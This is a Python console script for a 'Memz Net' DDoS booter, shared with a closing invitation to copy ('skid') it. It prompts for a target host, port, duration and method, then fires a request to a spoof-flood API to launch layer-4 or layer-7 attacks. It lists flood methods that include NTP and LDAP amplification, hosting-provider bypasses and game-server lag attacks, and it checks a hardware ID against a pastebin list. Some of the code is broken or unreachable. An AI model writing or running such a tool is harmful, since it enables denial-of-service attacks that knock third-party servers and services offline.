import requests
from colorama import init, Fore
from easygui import fileopenbox
from requests import Session, exceptions
import subprocess, requests, time, os
from os import system, name 
import configparser
import time
import os
from colorama import init, Fore, Back, Style
from console.utils import set_title


hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
r = requests.get('https://pastebin.com/raw/wmp1b98j')

init(convert=True)
set_title("Memz Net - 1 - Apis Loaded - User: root")

logo = Fore.MAGENTA + '''
• ▌ ▄ ·. ▄▄▄ .• ▌ ▄ ·. ·▄▄▄▄•   ▐ ▄ ▄▄▄ .▄▄▄▄▄▄
·██ ▐███▪▀▄.▀··██ ▐███▪▪▀·.█▌  •█▌▐█▀▄.▀·▀•██ ▀
▐█ ▌▐▌▐█·▐▀▀▪▄▐█ ▌▐▌▐█·▄█▀▀▀•  ▐█▐▐▌▐▀▀▪▄  ▐█.▪
██ ██▌▐█▌▐█▄▄▌██ ██▌▐█▌█▌▪▄█▀  ██▐█▌▐█▄▄▌  ▐█▌·
▀▀  █▪▀▀▀ ▀▀▀ ▀▀  █▪▀▀▀·▀▀▀ •  ▀▀ █▪ ▀▀▀   ▀▀▀
            TYPE "help" FOR HELP.
                                                                                                        
'''

commands = ["l4","l7", "help", "methods","shrek", "apis"]

print(logo)

def take_commands():
    command = input(Fore.RED +"[Memz ~] ")
    while command not in commands:
        command = input(Fore.RED +"[Memz ~] ")
    if command == "l4":
        host = input(" Post:")
        port = input(" Port:")
        time = input(" Time:")
        mode = input(" Mode:")
        api1 = "http://piss off m8/spoofApi.php?key=[key]&host=" + host + "&port=" + port + "&method=" + mode +"&time=" + time
        r = requests.get(api1)
        print(Fore.CYAN +" Flood Brodcasted To Servers.")
    if command == "l7":
        host = input("[Memz ~] Host:")
        port = input("[Memz ~] Port:")
        time = input("[memz ~] Time:")
        mode = input("[Memz ~] Mode:")
        api2 = ": http://piss off m8/spoofApi.php?key=[key]&host=" +host + "&port=" + port + "&method=" + mode + "&time=" + time
        r2 = requests.get(api2)
        print(Fore.CYAN +" Flood Brodcasted To Servers.")       
    if command == "methods":
        print(Fore.CYAN +"-l4-Udp : LDAP, ARDv2, UDP-ULTRA, DVR, NTP, UDPBYPASSv2, GRENADE")
        
        print(Fore.CYAN +"-l4-Tcp : 100UP-RAPE, 100UP-OUT, SPOTLIGHT, OVH-UDPv2, BLAZINGFAST, OVH-RAPE, XMAS, XSYN, KILLALL, WEBRAPE, TCPv2, STCP, NFO-TCPv2, NFO-SEQv2, NFO-SMACK, OVH-X, OVH-RIOT, OVH-NEUTRON, TCP-RAW")
        
        print(Fore.CYAN +"-GAME : CSGO-SHIT, UNREAL, R6-LAG")
        
        print(Fore.CYAN +"-l7 : HTTP-NEUTRON, DSTAT-CRASH")
    if command == "help":
        print(Fore.CYAN +"Commands : l4, l7, shrek ,methods, info, apis")
    if command == "info":
        print(Fore.CYAN +"[Sorra ~] Made by Noah ~ Twitter: @disbuted")
    if command == "apis":
        print(Fore.CYAN +" 1 Apis Loaded.")   
        



while True:
    take_commands()

print(logo)

try:
    if hwid in r.text:
        while True:
            take_commands()
    if hwid not in r.text:
        print(Fore.RED +'[ERROR] HWID doesnt match.')
        time.sleep(5)
        input("")
    else:
        time.sleep(5)
        input("")
except:
    print('[ERROR] Quitting now.')
    time.sleep(5)
    input("")
-------------------------------------------------------------------------------

───────▄▀▀▀▀▀▀▀▀▀▀▄▄
────▄▀▀░░░░░░░░░░░░░▀▄
──▄▀░░░░░░░░░░░░░░░░░░▀▄
──█░░░░░░░░░░░░░░░░░░░░░▀▄
─▐▌░░░░░░░░▄▄▄▄▄▄▄░░░░░░░▐▌
─█░░░░░░░░░░░▄▄▄▄░░▀▀▀▀▀░░█
▐▌░░░░░░░▀▀▀▀░░░░░▀▀▀▀▀░░░▐▌
█░░░░░░░░░▄▄▀▀▀▀▀░░░░▀▀▀▀▄░█
█░░░░░░░░░░░░░░░░▀░░░▐░░░░░▐▌
▐▌░░░░░░░░░▐▀▀██▄░░░░░░▄▄▄░▐▌
─█░░░░░░░░░░░▀▀▀░░░░░░▀▀██░░█
─▐▌░░░░▄░░░░░░░░░░░░░▌░░░░░░█
──▐▌░░▐░░░░░░░░░░░░░░▀▄░░░░░█
───█░░░▌░░░░░░░░▐▀░░░░▄▀░░░▐▌
───▐▌░░▀▄░░░░░░░░▀░▀░▀▀░░░▄▀
───▐▌░░▐▀▄░░░░░░░░░░░░░░░░█
───▐▌░░░▌░▀▄░░░░▀▀▀▀▀▀░░░█
───█░░░▀░░░░▀▄░░░░░░░░░░▄▀
──▐▌░░░░░░░░░░▀▄░░░░░░▄▀
─▄▀░░░▄▀░░░░░░░░▀▀▀▀█▀
▀░░░▄▀░░░░░░░░░░▀░░░▀▀▀▀▄▄▄▄▄

hi um this isnt a net its my py script um skid it if u want lol